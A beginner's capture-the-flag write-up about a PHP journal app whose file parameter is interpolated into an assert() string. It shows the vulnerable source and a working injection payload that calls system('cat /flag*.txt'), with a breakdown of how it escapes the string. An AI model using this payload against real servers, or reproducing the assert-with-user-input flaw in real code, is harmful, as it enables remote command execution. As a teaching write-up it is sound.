This is my first writeup regarding a ctf challenge.

PHP Source Code

This was the source code of the php server. I do not know php so I could not see the obvious vulnerability.

<?php

echo "<p>Welcome to my journal app!</p>";
echo "<p><a href=/?file=file1.txt>file1.txt</a></p>";
echo "<p><a href=/?file=file2.txt>file2.txt</a></p>";
echo "<p><a href=/?file=file3.txt>file3.txt</a></p>";
echo "<p><a href=/?file=file4.txt>file4.txt</a></p>";
echo "<p><a href=/?file=file5.txt>file5.txt</a></p>";
echo "<p>";

if (isset($_GET['file'])) {
  $file = $_GET['file'];
  $filepath = './files/' . $file;

  assert("strpos('$file', '..') === false") or die("Invalid file!");

  if (file_exists($filepath)) {
    include($filepath);
  } else {
    echo 'File not found!';
  }
}

echo "</p>";

I intially tried accessing the flag without using ... On hacktricks I found a few ways that could happend but none of them worked.

The RCE

Then it clicked to me, how assert is taking the code as a string and executing it and the file name is being passed to it. Googling this, I found that hacktricks has the same code as example but their payload was not working for me. So I crafted my own payload.

', '1') or die(system('cat /flag*.txt'))or strpos('

Break Down

  • ', '1') is to close the string and strpos function.
  • or die(system('cat /flag*.txt')) is to print the flag. or is used because strpos returns false and then or short circuits to execute the next command die.
  • or strpos(' is to prevent the (syntax iirc) error from being thrown by.

After the format string being filled the code inside the assert function looks like this:

strpos('', '1') or die(system('cat /flag*.txt'))or strpos('e', '..') === false

Thanks to the organizers. I really enjoyed the ctf, especially this challenge.

Updated: